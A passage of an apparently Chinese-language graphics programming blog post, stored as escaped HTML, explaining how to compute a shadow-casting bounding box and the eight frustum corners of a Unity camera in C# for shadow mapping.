\u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePositiveInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eNegativeInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epoints\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]).\u003c/span\u003e\u003cspan class=\"n\"\u003exyz\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eUsage\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowUsage\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eScene\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 理论上场景阴影可以打到无穷远处,但包围盒太长的话深度都集中在 0 或者 1 处,精度不够\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 目前限制最多向后扩展 100 个单位\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e上面的代码在最后把 \u003ccode\u003eshadowMin.z\u003c/code\u003e 向后扩展到 100 个单位,表示阴影最多往后投射 100 米,超出这个包围盒就没有阴影了。\u003c/p\u003e\n\u003ch3 id=\"简化主相机视锥体\"\u003e简化主相机视锥体\u003ca class=\"headerlink\" href=\"#简化主相机视锥体\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e主相机的视锥体是个棱台,直接用它计算很麻烦,所以将它拆成一堆三角形。每个面沿任意对角线拆成 2 个三角形,一共 12 个。\u003c/p\u003e\n\u003cp\u003e实现时,采用 Mesh 里 Vertex Buffer 和 Index Buffer 的思想,先算视锥体的 8 个顶点。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereadonly\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector3\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003es_FrustumCornerBuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector3\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eSetFrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCamera\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransform\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enearClipPlane\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efarClipPlane\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eorthographic\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Camera.CalculateFrustumCorners 不支持正交投影\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// The orthographicSize is half the size of the vertical viewing volume.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// The horizontal size of the viewing volume depends on the aspect ratio.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eorthographicSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003easpect\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 顺序要和下一个分支里的一致\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// https://docs.unity3d.com/6000.0/Documentation/ScriptReference/Camera.CalculateFrustumCorners.html\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// The order of the corners is lower left, upper left, upper right, lower right.\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRect\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMonoOrStereoscopicEye\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eeye\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMonoOrStereoscopicEye\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMono\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCalculateFrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enear\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eeye\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003es_FrustumCornerBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 